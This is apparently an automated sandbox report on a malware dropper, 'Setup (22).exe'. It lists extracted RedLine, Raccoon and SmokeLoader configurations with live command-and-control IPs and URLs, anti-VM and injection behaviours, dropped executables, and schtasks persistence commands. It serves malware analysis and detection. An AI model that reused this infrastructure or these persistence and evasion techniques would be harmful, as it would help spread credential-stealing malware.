Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
Setup (1).exe
windows11_x64
10Setup (10).exe
windows11_x64
10Setup (11).exe
windows11_x64
10Setup (12).exe
windows11_x64
10Setup (13).exe
windows11_x64
10Setup (14).exe
windows11_x64
10Setup (15).exe
windows11_x64
10Setup (16).exe
windows11_x64
10Setup (17).exe
windows11_x64
10Setup (18).exe
windows11_x64
10Setup (19).exe
windows11_x64
10Setup (2).exe
windows11_x64
10Setup (20).exe
windows11_x64
10Setup (21).exe
windows11_x64
10Setup (22).exe
windows11_x64
10Setup (23).exe
windows11_x64
10Setup (24).exe
windows11_x64
10Setup (25).exe
windows11_x64
10Setup (26).exe
windows11_x64
10Setup (27).exe
windows11_x64
10Setup (28).exe
windows11_x64
10Setup (29).exe
windows11_x64
10Setup (3).exe
windows11_x64
10Setup (30).exe
windows11_x64
10Setup (31).exe
windows11_x64
10Setup (4).exe
windows11_x64
10Setup (5).exe
windows11_x64
10Setup (6).exe
windows11_x64
10Setup (7).exe
windows11_x64
10Setup (8).exe
windows11_x64
10Setup (9).exe
windows11_x64
10Setup.exe
windows11_x64
10Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
97s -
max time network
1820s -
platform
windows11_x64 -
resource
win11 -
submitted
31/08/2021, 21:47
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (10).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (11).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (12).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (13).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (14).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral8
Sample
Setup (16).exe
Resource
win11
Behavioral task
behavioral9
Sample
Setup (17).exe
Resource
win11
Behavioral task
behavioral10
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral11
Sample
Setup (19).exe
Resource
win11
Behavioral task
behavioral12
Sample
Setup (2).exe
Resource
win11
Behavioral task
behavioral13
Sample
Setup (20).exe
Resource
win11
Behavioral task
behavioral14
Sample
Setup (21).exe
Resource
win11
Behavioral task
behavioral15
Sample
Setup (22).exe
Resource
win11
Behavioral task
behavioral16
Sample
Setup (23).exe
Resource
win11
Behavioral task
behavioral17
Sample
Setup (24).exe
Resource
win11
Behavioral task
behavioral18
Sample
Setup (25).exe
Resource
win11
Behavioral task
behavioral19
Sample
Setup (26).exe
Resource
win11
Behavioral task
behavioral20
Sample
Setup (27).exe
Resource
win11
Behavioral task
behavioral21
Sample
Setup (28).exe
Resource
win11
Behavioral task
behavioral22
Sample
Setup (29).exe
Resource
win11
Behavioral task
behavioral23
Sample
Setup (3).exe
Resource
win11
Behavioral task
behavioral24
Sample
Setup (30).exe
Resource
win11
Behavioral task
behavioral25
Sample
Setup (31).exe
Resource
win11
Behavioral task
behavioral26
Sample
Setup (4).exe
Resource
win11
Behavioral task
behavioral27
Sample
Setup (5).exe
Resource
win11
Behavioral task
behavioral28
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral29
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral30
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral31
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral32
Sample
Setup.exe
Resource
win11
General
-
Target
Setup (22).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
raccoon
10c753321b3ff323727f510579572aa4c5ea00cb
-
url4cnc
https://telete.in/bimboDinotrex
Extracted
metasploit
windows/single_exec
Extracted
redline
31.08
95.181.152.47:15089
Extracted
redline
1
37.0.8.88:44263
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Signatures
-
Glupteba Payload 1 IoCs
resource yara_rule behavioral15/memory/4212-279-0x00000000042E0000-0x0000000004C06000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2012 920 rundll32.exe 173 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5656 920 rUNdlL32.eXe 173 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 21 IoCs
resource yara_rule behavioral15/memory/4952-309-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5084-324-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/4952-314-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral15/memory/4872-353-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5084-332-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral15/memory/2752-329-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5452-452-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/6132-449-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5912-507-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/1552-544-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/2000-551-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/1148-530-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/888-513-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/1964-577-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5648-575-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/6084-476-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/6108-438-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5388-388-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/5352-379-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/1604-641-0x0000000000000000-mapping.dmp family_redline behavioral15/memory/2108-640-0x0000000000000000-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
description pid Process procid_target PID 2896 created 772 2896 WerFault.exe 91 PID 3300 created 4212 3300 WerFault.exe 221 PID 2228 created 3592 2228 WerFault.exe 93 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral15/memory/1436-402-0x0000000000780000-0x0000000000853000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 39 IoCs
pid Process 3908 X48WVflk1lTYCTK9Frp9JTq0.exe 840 Lx2hpXrEUx1BPrXtHhcMEWPw.exe 3452 jnRGKpbirHc4U4w3CqiRUKCu.exe 3592 ZVEN4TzHOWTRvuipoVcP9k2f.exe 1016 rxAgi7JlRd_AqTmyfwInsZDS.exe 772 z76vB_Xbb4kf6MVjFQwu6pKp.exe 972 EY7isHJs4w1Efj1dVZ4hKlTR.exe 720 JJEfVAuusgWz9Ugh5NPkyq_D.exe 1728 pi28PNAS1QlYCOHD9KQjXAx8.exe 1648 LV8e52wOw31r7d6xbhB2JR9f.exe 1824 kyt2cMkcQyHqnDShZzEyLxvh.exe 2364 lCPJMVNQfOzCxdm3oMsrTrVF.exe 1908 30FNCED7Y1C3JJUIuO9lzR7N.exe 4672 ng6veWmm679rlzMzSQ0ieyBG.exe 4676 xlFzzXF8vOiQDibjMl4UtZHZ.exe 2536 jxWoFRD9x6490bIs1A5l0ZD_.exe 4256 nlZpJijiF3izOGSUNDjApoOW.exe 3612 GsxWa_oW9oaFjwyRllKzR9zU.exe 4212 Hnf7L9JRd7VlPumFMRpeqjJ6.exe 4652 otWUGH9EenDixQqqcD2rE1NG.exe 928 TrZl_z3o_FPeAvCrx1qrKMOL.exe 1436 A94MoBfTkhzC_kW9wFdZzvze.exe 704 BYj64g1wT7ZfqNsMZRuUO21T.exe 4400 g4WNZ_ZaNiU1L4azYl18wEZ4.exe 2504 inst001.exe 4844 KBAvfsr.exe 2908 g4WNZ_ZaNiU1L4azYl18wEZ4.tmp 4280 cutm3.exe 4828 JJEfVAuusgWz9Ugh5NPkyq_D.exe 1624 md8_8eus.exe 4952 X48WVflk1lTYCTK9Frp9JTq0.exe 5084 kyt2cMkcQyHqnDShZzEyLxvh.exe 2752 30FNCED7Y1C3JJUIuO9lzR7N.exe 4872 xlFzzXF8vOiQDibjMl4UtZHZ.exe 5576 BYj64g1wT7ZfqNsMZRuUO21T.exe 5352 kyt2cMkcQyHqnDShZzEyLxvh.exe 5796 30FNCED7Y1C3JJUIuO9lzR7N.exe 5388 30FNCED7Y1C3JJUIuO9lzR7N.exe 5868 IQ0V_Fe_.eXE -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Lx2hpXrEUx1BPrXtHhcMEWPw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Lx2hpXrEUx1BPrXtHhcMEWPw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion pi28PNAS1QlYCOHD9KQjXAx8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion pi28PNAS1QlYCOHD9KQjXAx8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion GsxWa_oW9oaFjwyRllKzR9zU.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion GsxWa_oW9oaFjwyRllKzR9zU.exe -
Loads dropped DLL 3 IoCs
pid Process 2908 g4WNZ_ZaNiU1L4azYl18wEZ4.tmp 2908 g4WNZ_ZaNiU1L4azYl18wEZ4.tmp 4256 nlZpJijiF3izOGSUNDjApoOW.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral15/files/0x000200000002b1ba-156.dat themida behavioral15/files/0x000200000002b1ba-223.dat themida behavioral15/files/0x000200000002b1bd-198.dat themida behavioral15/files/0x000200000002b1c9-174.dat themida behavioral15/files/0x000200000002b1bd-231.dat themida behavioral15/files/0x000200000002b1c9-230.dat themida behavioral15/memory/3612-300-0x0000000000DA0000-0x0000000000DA1000-memory.dmp themida behavioral15/memory/1728-285-0x00000000001A0000-0x00000000001A1000-memory.dmp themida behavioral15/memory/840-283-0x0000000000460000-0x0000000000461000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Lx2hpXrEUx1BPrXtHhcMEWPw.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA GsxWa_oW9oaFjwyRllKzR9zU.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA pi28PNAS1QlYCOHD9KQjXAx8.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 406 ipinfo.io 705 ipinfo.io 975 ipinfo.io 6 ipinfo.io 6 ip-api.com 125 ipinfo.io 170 ipinfo.io 206 ipinfo.io 58 ipinfo.io 134 ipinfo.io 275 ipinfo.io 931 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 840 Lx2hpXrEUx1BPrXtHhcMEWPw.exe 1728 pi28PNAS1QlYCOHD9KQjXAx8.exe 3612 GsxWa_oW9oaFjwyRllKzR9zU.exe -
Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 3908 set thread context of 4952 3908 X48WVflk1lTYCTK9Frp9JTq0.exe 133 PID 1824 set thread context of 5084 1824 kyt2cMkcQyHqnDShZzEyLxvh.exe 141 PID 1908 set thread context of 2752 1908 30FNCED7Y1C3JJUIuO9lzR7N.exe 142 PID 4676 set thread context of 4872 4676 xlFzzXF8vOiQDibjMl4UtZHZ.exe 136 PID 704 set thread context of 5576 704 BYj64g1wT7ZfqNsMZRuUO21T.exe 150 PID 1824 set thread context of 5352 1824 kyt2cMkcQyHqnDShZzEyLxvh.exe 156 PID 1908 set thread context of 5388 1908 30FNCED7Y1C3JJUIuO9lzR7N.exe 149 -
Drops file in Program Files directory 7 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe jxWoFRD9x6490bIs1A5l0ZD_.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe jxWoFRD9x6490bIs1A5l0ZD_.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe jxWoFRD9x6490bIs1A5l0ZD_.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe jxWoFRD9x6490bIs1A5l0ZD_.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini jxWoFRD9x6490bIs1A5l0ZD_.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rxAgi7JlRd_AqTmyfwInsZDS.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rxAgi7JlRd_AqTmyfwInsZDS.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 22 IoCs
pid pid_target Process procid_target 1476 772 WerFault.exe 91 3448 4212 WerFault.exe 105 5744 3592 WerFault.exe 93 5608 1436 WerFault.exe 107 1944 1180 WerFault.exe 206 5580 4844 WerFault.exe 118 4488 1180 WerFault.exe 206 6964 4844 WerFault.exe 118 8052 6912 WerFault.exe 231 7688 5796 WerFault.exe 151 8000 5796 WerFault.exe 151 8036 7228 WerFault.exe 290 7204 6872 WerFault.exe 267 4592 7228 WerFault.exe 290 8616 6936 WerFault.exe 318 4700 8912 WerFault.exe 326 8092 7948 WerFault.exe 343 3396 5784 WerFault.exe 384 10124 1308 WerFault.exe 162 4168 1308 WerFault.exe 162 4236 5000 WerFault.exe 277 10392 5000 WerFault.exe 277 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BYj64g1wT7ZfqNsMZRuUO21T.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BYj64g1wT7ZfqNsMZRuUO21T.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI BYj64g1wT7ZfqNsMZRuUO21T.exe -
Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3252 schtasks.exe 9388 schtasks.exe 9716 schtasks.exe 1456 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 6676 timeout.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 2 IoCs
pid Process 7620 taskkill.exe 5624 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 8300 PING.EXE -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 130 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 140 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 205 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 938 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1457 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1460 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4920 Setup (22).exe 4920 Setup (22).exe 1476 WerFault.exe 1476 WerFault.exe 3448 WerFault.exe 3448 WerFault.exe 5576 BYj64g1wT7ZfqNsMZRuUO21T.exe 5576 BYj64g1wT7ZfqNsMZRuUO21T.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4672 ng6veWmm679rlzMzSQ0ieyBG.exe Token: SeDebugPrivilege 4652 otWUGH9EenDixQqqcD2rE1NG.exe Token: SeRestorePrivilege 1476 WerFault.exe Token: SeBackupPrivilege 1476 WerFault.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2908 g4WNZ_ZaNiU1L4azYl18wEZ4.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4920 wrote to memory of 3908 4920 Setup (22).exe 96 PID 4920 wrote to memory of 3908 4920 Setup (22).exe 96 PID 4920 wrote to memory of 3908 4920 Setup (22).exe 96 PID 4920 wrote to memory of 840 4920 Setup (22).exe 95 PID 4920 wrote to memory of 840 4920 Setup (22).exe 95 PID 4920 wrote to memory of 840 4920 Setup (22).exe 95 PID 4920 wrote to memory of 3452 4920 Setup (22).exe 94 PID 4920 wrote to memory of 3452 4920 Setup (22).exe 94 PID 4920 wrote to memory of 3452 4920 Setup (22).exe 94 PID 4920 wrote to memory of 3592 4920 Setup (22).exe 93 PID 4920 wrote to memory of 3592 4920 Setup (22).exe 93 PID 4920 wrote to memory of 3592 4920 Setup (22).exe 93 PID 4920 wrote to memory of 1016 4920 Setup (22).exe 92 PID 4920 wrote to memory of 1016 4920 Setup (22).exe 92 PID 4920 wrote to memory of 1016 4920 Setup (22).exe 92 PID 4920 wrote to memory of 772 4920 Setup (22).exe 91 PID 4920 wrote to memory of 772 4920 Setup (22).exe 91 PID 4920 wrote to memory of 772 4920 Setup (22).exe 91 PID 4920 wrote to memory of 972 4920 Setup (22).exe 89 PID 4920 wrote to memory of 972 4920 Setup (22).exe 89 PID 4920 wrote to memory of 972 4920 Setup (22).exe 89 PID 4920 wrote to memory of 720 4920 Setup (22).exe 90 PID 4920 wrote to memory of 720 4920 Setup (22).exe 90 PID 4920 wrote to memory of 720 4920 Setup (22).exe 90 PID 4920 wrote to memory of 1648 4920 Setup (22).exe 101 PID 4920 wrote to memory of 1648 4920 Setup (22).exe 101 PID 4920 wrote to memory of 1648 4920 Setup (22).exe 101 PID 4920 wrote to memory of 1728 4920 Setup (22).exe 100 PID 4920 wrote to memory of 1728 4920 Setup (22).exe 100 PID 4920 wrote to memory of 1728 4920 Setup (22).exe 100 PID 4920 wrote to memory of 1824 4920 Setup (22).exe 99 PID 4920 wrote to memory of 1824 4920 Setup (22).exe 99 PID 4920 wrote to memory of 1824 4920 Setup (22).exe 99 PID 4920 wrote to memory of 1908 4920 Setup (22).exe 98 PID 4920 wrote to memory of 1908 4920 Setup (22).exe 98 PID 4920 wrote to memory of 1908 4920 Setup (22).exe 98 PID 4920 wrote to memory of 2364 4920 Setup (22).exe 115 PID 4920 wrote to memory of 2364 4920 Setup (22).exe 115 PID 4920 wrote to memory of 4672 4920 Setup (22).exe 112 PID 4920 wrote to memory of 4672 4920 Setup (22).exe 112 PID 4920 wrote to memory of 4676 4920 Setup (22).exe 110 PID 4920 wrote to memory of 4676 4920 Setup (22).exe 110 PID 4920 wrote to memory of 4676 4920 Setup (22).exe 110 PID 4920 wrote to memory of 2536 4920 Setup (22).exe 109 PID 4920 wrote to memory of 2536 4920 Setup (22).exe 109 PID 4920 wrote to memory of 2536 4920 Setup (22).exe 109 PID 4920 wrote to memory of 4256 4920 Setup (22).exe 108 PID 4920 wrote to memory of 4256 4920 Setup (22).exe 108 PID 4920 wrote to memory of 4256 4920 Setup (22).exe 108 PID 4920 wrote to memory of 3612 4920 Setup (22).exe 106 PID 4920 wrote to memory of 3612 4920 Setup (22).exe 106 PID 4920 wrote to memory of 3612 4920 Setup (22).exe 106 PID 4920 wrote to memory of 4212 4920 Setup (22).exe 105 PID 4920 wrote to memory of 4212 4920 Setup (22).exe 105 PID 4920 wrote to memory of 4212 4920 Setup (22).exe 105 PID 4920 wrote to memory of 4652 4920 Setup (22).exe 111 PID 4920 wrote to memory of 4652 4920 Setup (22).exe 111 PID 4920 wrote to memory of 928 4920 Setup (22).exe 104 PID 4920 wrote to memory of 928 4920 Setup (22).exe 104 PID 4920 wrote to memory of 928 4920 Setup (22).exe 104 PID 4920 wrote to memory of 1436 4920 Setup (22).exe 107 PID 4920 wrote to memory of 1436 4920 Setup (22).exe 107 PID 4920 wrote to memory of 1436 4920 Setup (22).exe 107 PID 4920 wrote to memory of 704 4920 Setup (22).exe 121
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (22).exe"C:\Users\Admin\AppData\Local\Temp\Setup (22).exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"2⤵
- Executes dropped EXE
PID:972 -
C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"3⤵PID:420
-
-
C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"3⤵PID:4164
-
-
C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"C:\Users\Admin\Documents\EY7isHJs4w1Efj1dVZ4hKlTR.exe"3⤵PID:7104
-
-
-
C:\Users\Admin\Documents\JJEfVAuusgWz9Ugh5NPkyq_D.exe"C:\Users\Admin\Documents\JJEfVAuusgWz9Ugh5NPkyq_D.exe"2⤵
- Executes dropped EXE
PID:720 -
C:\Users\Admin\Documents\JJEfVAuusgWz9Ugh5NPkyq_D.exe"C:\Users\Admin\Documents\JJEfVAuusgWz9Ugh5NPkyq_D.exe" -u3⤵
- Executes dropped EXE
PID:4828
-
-
-
C:\Users\Admin\Documents\z76vB_Xbb4kf6MVjFQwu6pKp.exe"C:\Users\Admin\Documents\z76vB_Xbb4kf6MVjFQwu6pKp.exe"2⤵
- Executes dropped EXE
PID:772 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 772 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476
-
-
-
C:\Users\Admin\Documents\rxAgi7JlRd_AqTmyfwInsZDS.exe"C:\Users\Admin\Documents\rxAgi7JlRd_AqTmyfwInsZDS.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1016 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1456
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:3252
-
-
-
C:\Users\Admin\Documents\ZVEN4TzHOWTRvuipoVcP9k2f.exe"C:\Users\Admin\Documents\ZVEN4TzHOWTRvuipoVcP9k2f.exe"2⤵
- Executes dropped EXE
PID:3592 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 2363⤵
- Program crash
PID:5744
-
-
-
C:\Users\Admin\Documents\jnRGKpbirHc4U4w3CqiRUKCu.exe"C:\Users\Admin\Documents\jnRGKpbirHc4U4w3CqiRUKCu.exe"2⤵
- Executes dropped EXE
PID:3452 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"3⤵
- Executes dropped EXE
PID:4844 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 2804⤵
- Program crash
PID:5580
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 2804⤵
- Program crash
PID:6964
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"3⤵PID:5000
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 2804⤵
- Program crash
PID:4236
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 2804⤵
- Program crash
PID:10392
-
-
-
-
C:\Users\Admin\Documents\Lx2hpXrEUx1BPrXtHhcMEWPw.exe"C:\Users\Admin\Documents\Lx2hpXrEUx1BPrXtHhcMEWPw.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:840
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe"C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3908 -
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵
- Executes dropped EXE
PID:4952
-
-
C:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exeC:\Users\Admin\Documents\X48WVflk1lTYCTK9Frp9JTq0.exe3⤵PID:5452
-
-
